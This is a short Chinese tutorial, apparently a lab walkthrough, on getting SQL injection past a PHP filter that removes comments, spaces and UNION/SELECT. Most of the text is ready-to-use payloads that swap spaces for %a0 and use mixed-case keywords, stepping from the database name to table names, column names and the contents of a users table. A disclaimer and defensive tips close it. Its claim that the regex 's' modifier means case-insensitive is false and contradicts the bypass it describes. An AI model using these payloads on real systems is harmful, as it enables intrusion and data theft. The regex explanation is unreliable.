2021-12-12 11:49:17
手动绕过SQL注入过滤器(针对过滤UNION/union、SELECT/select、空格和注释的情况)的方法是使用大小写混合、特殊空格字符(如%a0)替代空格,并构造变形SQL语句来绕过过滤规则。 具体步骤如下:
确认过滤规则目标系统通过正则表达式过滤了以下内容:
注释符号:/*、--、#
关键字:UNION/union、SELECT/select(不区分大小写)
空格:直接移除空格字符
示例过滤代码:
$id=preg_replace('/[/*]/',"",$id); // 过滤 /*$id=preg_replace('/[-]/',"",$id); // 过滤 -$id=preg_replace('/[#]/',"",$id); // 过滤 #$id=preg_replace('/union/s',"",$id); // 过滤 union(不区分大小写)$id=preg_replace('/select/s',"",$id); // 过滤 select(不区分大小写)使用特殊空格字符替代空格系统过滤了普通空格,但未过滤URL编码的特殊空格字符(如%a0)。示例:将空格替换为%a0,使SQL语句保持语法正确性。
0' %a0UnIon %a0SeLect 1,2,3 %a0AND '1=1
混合大小写绕过关键字过滤系统通过/union/s和/select/s(s修饰符表示不区分大小写)过滤关键字,但可通过混合大小写(如UnIon、SeLect)构造变形语句。示例:
0' %a0UnIon %a0SeLect 1,database(),3 %a0AND '1=1
逐步获取数据库信息
获取数据库名使用database()函数查询当前数据库名:
0' %a0UnIon %a0SeLect 1,database(),3 %a0AND '1=1
获取表名查询information_schema.tables表,获取当前数据库的所有表名:
0' %a0UnIon %a0SeLect 1,group_concat(table_name),3 %a0from %a0information_schema.tables %a0where %a0table_schema=database() %a0AND '1=1
获取列名查询information_schema.columns表,获取指定表(如users)的所有列名:
0' %a0UnIon %a0SeLect 1,group_concat(column_name),3 %a0from %a0information_schema.columns %a0where %a0table_name='users' %a0AND '1=1
获取数据直接查询目标表(如users)中的数据:
0' %a0UnIon %a0SeLect 1,group_concat(username),3 %a0from %a0users %a0where %a0'1=1
注意事项
仅限学习研究:此类技术仅用于合法授权的安全测试,未经授权的SQL注入攻击可能违反法律。
防御建议:
使用参数化查询(Prepared Statements)替代动态SQL拼接。
实施最小权限原则,限制数据库用户权限。
定期更新Web应用和数据库补丁,修复已知漏洞。